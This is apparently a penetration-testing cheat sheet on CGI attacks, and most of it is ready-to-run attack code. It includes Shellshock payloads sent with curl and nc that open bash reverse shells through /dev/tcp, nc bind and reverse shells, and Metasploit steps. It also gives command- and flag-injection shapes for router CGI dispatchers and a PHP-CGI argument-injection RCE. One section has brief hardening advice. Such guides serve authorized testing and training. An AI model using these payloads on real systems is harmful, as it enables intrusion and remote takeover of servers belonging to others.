# CGI Pentesting

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## Information

The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.  
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)

## **ShellShock**

**ShellShock** is a **vulnerability** that affects the widely used **Bash** command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of **environment variables**, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching **malicious code** to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.

Exploiting this vulnerability the **page could throw an error**.

You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** \(with cgi folder\) or using **nikto**.

### **Test**

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.

**Nmap**

```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

## **Curl \(reflected, blind and out-of-band\)**

```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```

[**Shellsocker**](https://github.com/liamim/shellshocker)

```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```

### Exploit

```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```

## Centralized CGI dispatchers (single endpoint routing via selector parameters)

Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.

Methodology to exploit these routers:

- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.

Generic exploit shapes:

```http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```

Detection and hardening:

- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
- Flag parameters that begin with `-` (argv option injection attempts).
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.

## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)

Basically if cgi is active and php is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.  
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters \(specially without sending the character "="\).  
Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**.

Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request.  
Example:**

```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```

**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

## **Proxy \(MitM to Web server requests\)**

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"

As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.

## **References**

- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

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